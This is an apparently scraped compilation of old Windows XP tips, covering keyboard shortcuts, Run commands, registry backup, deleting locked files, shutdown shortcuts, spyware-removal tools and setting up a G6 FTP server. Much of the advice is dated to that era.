Wait for sometime may be a month or so but keep an eye on your search term, use /http://GoogleAlert.com - this will show whenever google updates for your keywords, it will mail you the new results.

And also check whether your site is listed on google..
use this tool called Google Monitor, it can be downloaded for free from : /http://www.cleverstat.com/google-monitor.htm

How To Fix Windows Installer Problem

 Do you experience this kind of problem whenever you attemp to install an application in windows box (2k, xp)?

"The Windows Installer service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance."

The ms website knowledge article 324516 gives 2 methods as a way of fixing this problem, but you might be very lucky if any of the 2 fixes the problem, alot of guys end up formating their systems and doing fresh windows installations or try wired ways of fixing it.

Well, the solution is very easy:

1. right click your root windows installation drive i.e drive where you installed windows
2. click properties at the bottom
3. select security tab
4. click Add and scroll down to SYSTEM account click add and click OK.
5. allow Full control permission and click Apply and then Ok.

This should solve your problem with windows installer.

How to Back Up the Registry

Before you edit the registry, export the keys in the registry that you plan to edit, or back up the whole registry. If a problem occurs, you can then follow the steps how-to restore the registry to its previous state.


How to Export Registry Keys

Click Start, and then click Run.

In the Open box, type regedit, and then click OK.

On the File menu, click Export.

In the Save in box, select the boxs at the bottom the bottom according to weather you want to export all or only selected branches of the registry.

Next select a location in which to save the backup .reg file. In the File name box, type a file name, and then click Save.


How to Restore the Registry

To restore registry keys that you exported, double-click the .reg file that you saved.

How To Add A Url Address Bar To The Taskbar

You can add an Internet URL address bar to your Windows XP taskbar. Doing so will let you type in URLs and launch Web pages without first launching a browser. It will also let you launch some native Windows XP applications in much the same way as you would via the Run menu (so you could type in calc to launch the calculator or mspaint to launch Microsoft Paint. Here's how you add the address bar:

1. Right-click on the taskbar, select Toolbars, and then click Address.

2. The word Address will appear on your taskbar.

3. Double click it to access it.

4. If that doesn't work, your taskbar is locked. You can unlock it by right-clicking on the taskbar again and uncheck Lock the Taskbar.

NOTE: You may also need to grab the vertical dotted lines beside the word Address and drag it to the left to make the Address window appear.

How To Access Your Folders From Your Taskbar

How To Access Your Folders From Your Taskbar

This is an easy way to get to the folders on your system without having to open a Windows Explorer Window every time you want to access files. I find it very useful to have this feature as it allows me to access my Folders and Drives immediately and saves me a lot of time.

This works in Windows XP:

1. Right Click an empty spot on your Taskbar (Between your Start Button and your System Tray).
2. Click Toolbars.
3. Click New Toolbar.
4. A Small Window will Open that allows you to pick the folder you wish to make a Toolbar. If you want to access your Desktop Without having to minimize all your windows. Just Pick Desktop. If you want to access ONLY your My Documents Folder, Select that. Any folder will work for this.
5. Click OK.
The New Tool bar will appear at the bottom of your screen next to your System Tray.

If you find this to be not useful, Repeat Steps 1 and 2 and then check click the Toolbar you created that has a check mark next to it. And it will disappear.

How Do I Remove An Axtra Operating System From By

 If you have more then one operating system installed or wish
to remove an operating system from the boot menu, you can use the following information.

1.Click on Start, Control Panel, System, Advanced.
2.Under Startup and Recovery, click Settings.
3.Under Default Operating System, choose one of the following:

"Microsoft Windows XP Professional /fastdetect"
-or-
"Microsoft Windows XP Home /fasdetect"
-or-
"Microsoft Windows 2000 Professional /fastdetect"

4.Take the checkmark out of the box for "Time to display a list of Operating Systems".
5.Click Apply and Ok, and reboot the system.

*If you wish to edit the boot.ini file manually, click on the button "EDIT"

General Keyboard Shortcuts

General Keyboard Shortcuts

General Keyboard Shortcuts
CTRL+C (Copy)
CTRL+X (Cut)
CTRL+V (Paste)
CTRL+Z (Undo)
DELETE (Delete)
SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
CTRL while dragging an item (Copy the selected item)
CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
F2 key (Rename the selected item)
CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
CTRL+A (Select all)
F3 key (Search for a file or a folder)
ALT+ENTER (View the properties for the selected item)
ALT+F4 (Close the active item, or quit the active program)
ALT+ENTER (Display the properties of the selected object)
ALT+SPACEBAR (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
ALT+TAB (Switch between the open items)
ALT+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
SHIFT+F10 (Display the shortcut menu for the selected item)
ALT+SPACEBAR (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a submenu)
LEFT ARROW (Open the next menu to the left, or close a submenu)
F5 key (Update the active window)
BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box Keyboard Shortcuts
CTRL+TAB (Move forward through the tabs)
CTRL+SHIFT+TAB (Move backward through the tabs)
TAB (Move forward through the options)
SHIFT+TAB (Move backward through the options)
ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
ENTER (Perform the command for the active option or button)
SPACEBAR (Select or clear the check box if the active option is a check box)
Arrow keys (Select a button if the active option is a group of option buttons)
F1 key (Display Help)
F4 key (Display the items in the active list)
BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft Natural Keyboard Shortcuts
Windows Logo (Display or hide the Start menu)
Windows Logo+BREAK (Display the System Properties dialog box)
Windows Logo+D (Display the desktop)
Windows Logo+M (Minimize all of the windows)
Windows Logo+SHIFT+M (Restore the minimized windows)
Windows Logo+E (Open My Computer)
Windows Logo+F (Search for a file or a folder)
CTRL+Windows Logo+F (Search for computers)
Windows Logo+F1 (Display Windows Help)
Windows Logo+ L (Lock the keyboard)
Windows Logo+R (Open the Run dialog box)
Windows Logo+U (Open Utility Manager)
Accessibility Keyboard Shortcuts
Right SHIFT for eight seconds (Switch FilterKeys either on or off)
Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
SHIFT five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Windows Logo +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
NUM LOCK+Minus sign (-) (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut Keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
RIGHT ARROW (Move to the right or to the beginning of the next line)
LEFT ARROW (Move to the left or to the end of the previous line)
UP ARROW (Move up one row)
DOWN ARROW (Move down one row)
PAGE UP (Move up one screen at a time)
PAGE DOWN (Move down one screen at a time)
HOME (Move to the beginning of the line)
END (Move to the end of the line)
CTRL+HOME (Move to the first character)
CTRL+END (Move to the last character)
SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
Microsoft Management Console (MMC) Main Window Keyboard Shortcuts
CTRL+O (Open a saved console)
CTRL+N (Open a new console)
CTRL+S (Save the open console)
CTRL+M (Add or remove a console item)
CTRL+W (Open a new window)
F5 key (Update the content of all console windows)
ALT+SPACEBAR (Display the MMC window menu)
ALT+F4 (Close the console)
ALT+A (Display the Action menu)
ALT+V (Display the View menu)
ALT+F (Display the File menu)
ALT+O (Display the Favorites menu)
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
ALT+Minus sign (-) (Display the window menu for the active console window)
SHIFT+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
ALT+PAGE UP (Switch between programs from left to right)
ALT+PAGE DOWN (Switch between programs from right to left)
ALT+INSERT (Cycle through the programs in most recently used order)
ALT+HOME (Display the Start menu)
CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
ALT+DELETE (Display the Windows menu)
CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
Microsoft Internet Explorer Navigation
CTRL+B (Open the Organize Favorites dialog box)
CTRL+E (Open the Search bar)
CTRL+F (Start the Find utility)
CTRL+H (Open the History bar)
CTRL+I (Open the Favorites bar)
CTRL+L (Open the Open dialog box)
CTRL+N (Start another instance of the browser with the same Web address)
CTRL+O (Open the Open dialog box, the same as CTRL+L)
CTRL+P (Open the Print dialog box)
CTRL+R (Update the current Web page)
CTRL+W (Close the current window)

How To Delete An "undeletable" File

Delete An "undeletable" File

Open a Command Prompt window and leave it open.
Close all open programs.
Click Start, Run and enter TASKMGR.EXE
Go to the Processes tab and End Process on Explorer.exe.
Leave Task Manager open.
Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in.
At the command prompt type DEL <filename> where <filename> is the file you wish to delete.
Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
Close Task Manager.


Or you can try this

Open Notepad.exe

Click File>Save As..>

locate the folder where ur undeletable file is

Choose 'All files' from the file type box

click once on the file u wanna delete so its name appears in the 'filename' box

put a " at the start and end of the filename
(the filename should have the extension of the undeletable file so it will overwrite it)

click save,

It should ask u to overwrite the existing file, choose yes and u can delete it as normal


Here's a manual way of doing it. I'll take this off once you put into your first post zain.

1. Start
2. Run
3. Type: command
4. To move into a directory type: cd c:\*** (The stars stand for your folder)
5. If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without spaces. Example: cd c:\progra~1\kazaal~1
6. Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.
7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension.

Create One-Click Shutdown and Reboot

Create One-Click Shutdown and Reboot Shortcuts:


First, create a shortcut on your desktop by right-clicking on the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, double-clicking on it will shut down your PC.

But you can do much more with a shutdown shortcut than merely shut down your PC. You can add any combination of several switches to do extra duty, like this:

shutdown -r -t 01 -c "Rebooting your PC"
Double-clicking on that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The shutdown command includes a variety of switches you can use to customize it. Table 1-3 lists all of them and describes their use.

I use this technique to create two shutdown shortcuts on my desktop—one for turning off my PC, and one for rebooting. Here are the ones I use:

shutdown -s -t 03 -c "Bye Bye m8!"
shutdown -r -t 03 -c "Ill be back m8 ;)!"

Switch
What it does

-s
Shuts down the PC.

-l
Logs off the current user.

-t nn
Indicates the duration of delay, in seconds, before performing the action.

-c "messagetext"
Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.

-f
Forces any running applications to shut down.

-r
Reboots the PC.

Best Keyboard Shortcuts

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.


Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box



acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.




Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog


internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it


For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:


Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U

accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U

shortcuts you can use with Windows Explorer:


Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

How To Maintenance The Computer

You may not realize it, but your computer and your car have something in common: they both need regular maintenance. No, you don't need to change your computer's oil. But you should be updating your software, keeping your antivirus subscription up to date, and checking for spyware. Read on to learn what you can do to help improve your computer's security.


Getting started

Here are some basics maintenance tasks you can do today to start improving your computer's security. Be sure you make these part of your ongoing maintenance as well.

* Sign up for software update e-mail notices. Many software companies will send you e-mail whenever a software update is available. This is particularly important for your operating system (e.g., Microsoft VV!|VD0VV$® or Macintosh), your antivirus program, and your firewall.
* Register your software. If you still have registration forms for existing software, send them in. And be sure to register new software in the future. This is another way for the software manufacturer to alert you when new updates are available.
* Install software updates immediately.
When you get an update notice, download the update immediately and install it. (Remember, downloading and installing are two separate tasks.)
An ounce of prevention

A few simple steps will help you keep your files safe and clean.

* Step 1: Update your software
* Step 2: Backup your files
* Step 3: Use antivirus software and keep it updated
* Step 4: Change your passwords


Developing ongoing maintenance practices

Now that you've done some ground work, it's time to start moving into longer term maintenance tasks. These are all tasks that you should do today (or as soon as possible) to get started. But for best results, make these a part of a regular maintenance schedule. We recommend setting aside time each week to help keep your computer secure.

* Back up your files. Backing up your files simply means creating a copy of your computer files that you can use in the event the originals are lost. (Accidents can happen.) To learn more read our tips for backing up information.


* Scan your files with up to date antivirus software. Use your antivirus scan tool regularly to search for potential computer viruses and worms. Also, check your antivirus program's user manual to see if you can schedule an automatic scan of your computer. To learn more, read our tips for reducing your virus risk
.
* Change your passwords. Using the same password increases the odds that someone else will discover it. Change all of your passwords regularly (we recommend monthly) to reduce your risk. Also, choose your passwords carefully. To learn more, read our tips for creating stronger passwords
.

Making a schedule

One of the best ways to help protect your computer is to perform maintenance regularly. To help you keep track, we suggest making a regular "appointment" with your computer. Treat it like you would any other appointment. Record it in your datebook or online calendar, and if you cannot make it, reschedule. Remember, you are not only helping to improve your computer, you are also helping to protect your personal information.

ALL About Spyware

There are a lot of PC users that know little about "Spyware", "Mal-ware", "hijackers", "Dialers" & many more. This will help you avoid pop-ups, spammers and all those baddies.

What is spy-ware?
Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.

Known spywares
There are thousands out there, new ones are added to the list everyday. But here are a few:
Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.

How to check if a program has spyware?
The is this Little site that keeps a database of programs that are known to install spyware.

Check Here: http://www.spywareguide.com/product_search.php

If you would like to block pop-ups (IE Pop-ups).
There tons of different types out there, but these are the 2 best, i think.

Try: Google Toolbar (http://toolbar.google.com/) This program is Free
Try: AdMuncher (http://www.admuncher.com) This program is Shareware

If you want to remove the "spyware" try these.
Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Try: Spybot-S&D (http://www.safer-networking.org/) This program is Free
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.

Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware
Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.

Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.
The best scanner out there, and updated all the time.

Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware
Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items.


If you would like to prevent "spyware" being install.
Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free
Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.

Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free
Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected.

Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free
Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.

Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free
Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software.

If you would like more Information about "spyware".
Check these sites.
http://www.spychecker.com/
http://www.spywareguide.com/
http://www.cexx.org/adware.htm
http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml
http://www.thiefware.com/links/
http://simplythebest.net/info/spyware.html

Usefull tools...
Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free
Info: "Stop Windows Messenger Spam" stops this Service from running and halts the spammers ability to send you these messages.

----------------------------------------------------------------------------
All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting "spyblaster" "s&d spybot" "spy sweeper" & "admuncher" to protect your PC. A weekly scan is also recommended

Free Virus Scan
Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with.
http://defender.veloz.com// - 15k


Finding . is a Click Away at 2020Search.com
Having trouble finding what you re looking for on: .? 2020Search will instantly provide you with the result you re looking for by drawing on some of the best search engines the Internet has to offer. Your result is a click away!
http://www.2020search.com// - 43k


Download the BrowserVillage Toolbar.
Customize your Browser! Eliminate Pop-up ads before they start, Quick and easy access to the Web, and much more. Click Here to Install Now!
http://www.browservillage.com/ - 36k

All About FTP Server Must Read

Setting Up A Ftp:

Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server.
That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address.

You'll then need to get your IP. This can be done by doing this:
Going to Start -> Run -> winipcfg or www.ask.com and asking 'What is my IP?'

After doing so, you'll need to download an FTP server client. Personally, I'd recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world.
You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm

First, you'll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you'll have to go into 'Setup -> General'. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa).

The below options are then chooseable:
-Launch with windows
-Activate FTP Server on Start-up
-Put into tray on startup
-Allow multiple instances
-Show "Loading..." status at startup
-Scan drive(s) at startup
-Confirm exit

You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the 'options' text on the left column.

To protect your server, you should check 'login check' and 'password check', 'Show relative path (a must!)', and any other options you feel you'll need. After doing so, click the 'advanced' text in the left column. You should then leave the buffer size on the default (unless of course you know what you're doing ), and then allow the type of ftp you want.

Uploading and downloading is usually good, but it's up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much 'effort' will go into making your server run smoothly.

Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click 'Log Options' from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults.

But, if you would like to see what is going on with the lowest possible space taken, click 'Screen' in the top column. You should then check off 'Log successful logins', and all of the options in the client directry, except 'Log directory changes'. After doing so, click 'Ok' in the bottom left corner.

You will then have to go into 'Setup -> User Accounts' (or ctrl & u). From here, you should click on the right most column, and right click. Choose 'Add', and choose the username(s) you would like people to have access to.

After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the 'Home IP' directory, (if you registered with a static server, check 'All IP Homes'. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose 'Add'.

From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options 'Read', 'List', and 'Subdirs', unless of course you know what you're doing . After doing so, make an 'upload' folder in the directory, and choose to 'add' this folder seperately to the center column. Choose 'write', 'append', 'make', 'list', and 'subdirs'. This will allow them to upload only to specific folders (your upload folder).

Now click on 'Miscellaneous' from the left column. Choose 'enable account', your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you'd like to have. Now click 'Ok'.
**Requested**


From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running.

Post your ftp info, like this:

213.10.93.141 (or something else, such as: 'f*p://example.getmyip.com')

User: *** (The username of the client)

Pass: *** (The password)

Port: *** (The port number you chose)

So make a FTP and join the FTP section


Listing The Contents Of A Ftp:

Listing the content of a FTP is very simple.
You will need FTP Content Maker, which can be downloaded from here:
ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip

1. Put in the IP of the server. Do not put "ftp://" or a "/" because it will not work if you do so.
2. Put in the port. If the port is the default number, 21, you do not have to enter it.
3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it.
4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field.
5. Click "Take the List!"
6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it.


If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software.

If you get this error message:
StatusCode = 550
LastResponse was : 'Unable to open local file test-ftp'
Error = 550 (Unable to open local file test-ftp)
Error = Unable to open local file test-ftp = 550
Close and restart FTP Content Maker, then try again.




error messages:

110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").
120 Service ready in nnn minutes.
125 Data connection already open; transfer starting.
150 File status okay; about to open data connection.
200 Command okay.
202 Command not implemented, superfluous at this site.
211 System status, or system help reply.
212 Directory status.
213 File status.
214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.
215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.
220 Service ready for new user.
221 Service closing control connection. Logged out if appropriate.
